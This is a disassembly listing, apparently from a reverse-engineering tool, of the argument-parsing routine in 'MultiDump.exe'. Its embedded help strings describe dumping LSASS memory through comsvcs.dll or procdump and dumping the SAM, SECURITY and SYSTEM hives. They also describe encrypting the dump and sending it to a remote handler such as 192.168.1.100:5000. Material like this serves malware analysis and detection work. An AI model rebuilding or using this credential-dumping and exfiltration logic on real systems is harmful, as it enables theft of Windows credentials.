Function at 0x140001610
Capabilities:
Get common file path
Terminate process

Disassembly:
jmp 0x140001610
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x9f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1b2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0xa18]
lea rcx, [0x1400970a5]
call fcn.1400012c1
mov rdi, qword [rbp + 0x9e0]
xor eax, eax
mov ecx, 0x38
rep stosb byte [rdi], al
mov dword [rbp + 0x644], 0
jmp 0x14000167b
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
mov eax, dword [rbp + 0x9e8]
cmp dword [rbp + 0x644], eax
jge 0x140001a59
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14000fffc]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x1400016f7
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010000]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x1400016f7
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__help
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400017a0
lea rcx, str._nUsage:_tMultiDump.exe___p__ProcDumpPath_____l__LocalDumpPath____r__RemoteHandlerAddr______procdump____v__n_n
call fcn.14000115e
lea rcx, str._p_t_tPath_to_save_procdump.exe__use_full_path._Default_to_temp_directory_n
call fcn.14000115e
lea rcx, str._l_t_tPath_to_save_encrypted_dump_file__use_full_path._Default_to_current_directory_n
call fcn.14000115e
lea rcx, str._r_t_tSet_ip:port_to_connect_to_a_remote_handler_n
call fcn.14000115e
lea rcx, str.__procdump_tWrites_procdump_to_disk_and_use_it_to_dump_LSASS_n
call fcn.14000115e
lea rcx, str.__nodump_tDisable_LSASS_dumping_n
call fcn.14000115e
lea rcx, str.__reg_t_tDump_SAM__SECURITY_and_SYSTEM_hives_n
call fcn.14000115e
lea rcx, str.__delay_t_tIncrease_interval_between_connections_to_for_slower_network_speeds_n
call fcn.14000115e
lea rcx, str._v_t_tEnable_verbose_mode_n
call fcn.14000115e
lea rcx, str._nMultiDump_defaults_in_local_mode_using_comsvcs.dll_and_saves_the_encrypted_dump_in_the_current_directory._n
call fcn.14000115e
lea rcx, [0x140010368]
call fcn.14000115e
lea rcx, str._tMultiDump.exe__l_C:UsersPubliclsass.dmp__v_n
call fcn.14000115e
lea rcx, str._tMultiDump.exe___procdump__p_C:Toolsprocdump.exe__r_192.168.1.100:5000_n
call fcn.14000115e
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010418]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x1400017e4
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14001041c]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001826
mov eax, dword [rbp + 0x644]
inc eax
cmp eax, dword [rbp + 0x9e8]
jge 0x140001826
mov eax, dword [rbp + 0x644]
inc eax
cdqe
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
mov rax, qword [rdx + rax*8]
mov qword [rcx], rax
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010420]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x14000186a
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010424]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400018ad
mov eax, dword [rbp + 0x644]
inc eax
cmp eax, dword [rbp + 0x9e8]
jge 0x1400018ad
mov eax, dword [rbp + 0x644]
inc eax
cdqe
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
mov rax, qword [rdx + rax*8]
mov qword [rcx + 8], rax
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010428]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x1400018f1
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x14001042c]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001934
mov eax, dword [rbp + 0x644]
inc eax
cmp eax, dword [rbp + 0x9e8]
jge 0x140001934
mov eax, dword [rbp + 0x644]
inc eax
cdqe
mov rcx, qword [rbp + 0x9e0]
mov rdx, qword [rbp + 0x9f0]
mov rax, qword [rdx + rax*8]
mov qword [rcx + 0x18], rax
mov eax, dword [rbp + 0x644]
inc eax
mov dword [rbp + 0x644], eax
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010430]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
je 0x140001978
movsxd rax, dword [rbp + 0x644]
lea rdx, [0x140010434]
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x14000198b
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x24], 1
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__procdump
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400019c0
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x28], 1
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__nodump
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x1400019f2
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x2c], 1
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__reg
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001a24
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x30], 1
jmp 0x140001a54
movsxd rax, dword [rbp + 0x644]
lea rdx, str.__delay
mov rcx, qword [rbp + 0x9f0]
mov rcx, qword [rcx + rax*8]
call sub.ucrtbased.dll_strcmp
test eax, eax
jne 0x140001a54
mov rax, qword [rbp + 0x9e0]
mov dword [rax + 0x34], 1
jmp 0x14000166d
mov edx, 0x104
lea rcx, [rbp + 0x60]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x140001a85
lea rcx, str.____Error_getting_current_directory_n
call fcn.14000115e
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
lea rdx, [rbp + 0x3f0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140001aba
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathA_Failed_With_Error_:__d__n
call fcn.14000115e
mov ecx, 0xffffffff
call qword [sym.imp.ucrtbased.dll_exit]
mov edx, 6
lea rcx, [rbp + 0x664]
call fcn.1400010af
lea rax, [rbp + 0x664]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3f0]
lea r8, str._s_s.dmp
mov edx, 0x104
lea rcx, [rbp + 0x520]
call fcn.1400011ef
lea rcx, [rbp + 0x520]
call qword [sym.imp.ucrtbased.dll__strdup]
mov rcx, qword [rbp + 0x9e0]
mov qword [rcx + 0x10], rax
mov rax, qword [rbp + 0x9e0]
cmp qword [rax], 0
jne 0x140001b6e
mov edx, 6
lea rcx, [rbp + 0x684]
call fcn.1400010af
lea rax, [rbp + 0x684]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x3f0]
lea r8, str._s_s.exe
mov edx, 0x104
lea rcx, [rbp + 0x190]
call fcn.1400011ef
lea rcx, [rbp + 0x190]
call qword [sym.imp.ucrtbased.dll__strdup]
mov rcx, qword [rbp + 0x9e0]
mov qword [rcx], rax
mov rax, qword [rbp + 0x9e0]
cmp qword [rax + 0x18], 0
jne 0x140001b88
mov dword [rbp + 0x9b4], 1
jmp 0x140001b92
mov dword [rbp + 0x9b4], 0
mov rax, qword [rbp + 0x9e0]
mov ecx, dword [rbp + 0x9b4]
mov dword [rax + 0x20], ecx
mov rax, qword [rbp + 0x9e0]
cmp qword [rax + 8], 0
jne 0x140001c01
mov edx, 6
lea rcx, [rbp + 0x6a4]
call fcn.1400010af
lea rax, [rbp + 0x6a4]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x60]
lea r8, str._s_s.dat
mov edx, 0x104
lea rcx, [rbp + 0x2c0]
call fcn.1400011ef
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.ucrtbased.dll__strdup]
mov rcx, qword [rbp + 0x9e0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x9e0]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, reloc.WS2_32.dll_htons
call fcn.140001262
mov rax, rdi
lea rsp, [rbp + 0x9c8]
pop rdi
pop rbp
ret